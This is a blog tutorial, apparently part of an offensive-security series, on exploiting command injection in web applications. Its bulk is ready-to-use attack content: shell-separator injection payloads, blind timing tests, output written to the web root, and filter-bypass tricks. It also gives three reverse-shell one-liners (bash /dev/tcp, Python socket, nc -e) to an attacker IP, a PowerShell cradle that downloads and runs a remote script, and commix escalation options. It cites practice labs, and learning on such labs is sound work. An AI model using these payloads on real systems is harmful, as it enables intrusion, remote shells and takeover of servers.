Post 4: Command Injection

Turning Web Inputs into System Shells

Command Injection occurs when user input is passed directly to the system shell without proper sanitization. This allows an attacker to run arbitrary commands — and in many cases, it leads directly to remote code execution (RCE).

This post walks you through finding, confirming, and exploiting command injection — manually and reliably.

  1. What is Command Injection?
  2. Identifying Vulnerable Entry Points
  3. Manual Testing and Payloads
  4. Getting Command Output
  5. Turning Injection into a Reverse Shell
  6. Bypassing Filters
  7. Practical Tips and Tools

Command injection occurs when a web application takes user input and uses it in a system-level command, like:

ping -c 1 $USER_INPUT

If the input isn’t validated, attackers can inject additional commands using shell separators like:

;  &  &&  |  ||

Common places to find command injection:

  • Ping tools
  • Traceroute pages
  • DNS lookup / host resolver tools
  • Any form that interacts with the OS
  • File upload, unzip, backup tools
http://target.com/ping?host=127.0.0.1

Try appending:

127.0.0.1; whoami

Here are reliable payloads to test for injection:

127.0.0.1; whoami             # ; separates commands
127.0.0.1 && whoami           # Only runs if first command succeeds
127.0.0.1 | whoami            # Pipe output to second command
127.0.0.1 || whoami           # Only runs if first command fails

If nothing happens, try blind techniques (timing-based):

127.0.0.1; sleep 5            # Does the page delay?
127.0.0.1 && ping -n 10 127.0.0.1 > nul  # Windows delay

Some applications will show the output directly — jackpot.

If output is hidden, try redirecting it to a web-accessible file:

127.0.0.1; whoami > /var/www/html/test.txt

Then check:

http://target.com/test.txt

Once you confirm injection, escalate to a reverse shell:

127.0.0.1; bash -i >& /dev/tcp/10.10.14.99/4444 0>&1
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.99",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh"])'
127.0.0.1; nc 10.10.14.99 4444 -e /bin/bash

Make sure your listener is up:

nc -lvnp 4444

For Windows:

127.0.0.1 & powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.99/shell.ps1')"

Web apps often try to block special characters or obvious commands.

  • URL encode characters:
%3B = ;
%26 = &
%7C = |
  • Use alternate shells:
127.0.0.1|`whoami`
127.0.0.1||powershell whoami
  • Use command chaining:
127.0.0.1 && echo vulnerable
  • Obfuscate commands:
127.0.0.1; $(whoami)
127.0.0.1; `whoami`
  • Burp Repeater — test payloads one by one
  • Proxy all requests for deeper analysis
  • Commix (automated testing):
commix --url="http://target.com/ping?host=127.0.0.1" --technique=BEUSTQ

Use --os-cmd, --os-shell, or --os-pwn options to escalate.

  • wfuzz / ffuf to fuzz with payloads:
ffuf -u http://target.com/ping?host=FUZZ -w payloads.txt
Test AreaDescription
Input fieldsPing, traceroute, DNS lookups
Output visibilityDoes the command output show up?
Blind injectionDoes a delay occur when using sleep/ping?
Reverse shell capabilityCan you run bash, python, nc?
Filters in placeCan you bypass input filters?
Automation toolsUse commix after manual confirmation
  • TryHackMe: Command Injection, Vulnversity, Pickle Rick
  • PortSwigger Labs: Command injection series
  • DVWA and bWAPP: Command Injection modules

Post 5: Cross-Site Scripting (XSS)
We’ll dive into:

  • Reflected vs Stored vs DOM XSS
  • Writing and testing payloads
  • Bypassing filters and WAFs
  • Stealing cookies, redirecting users, popping alerts

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top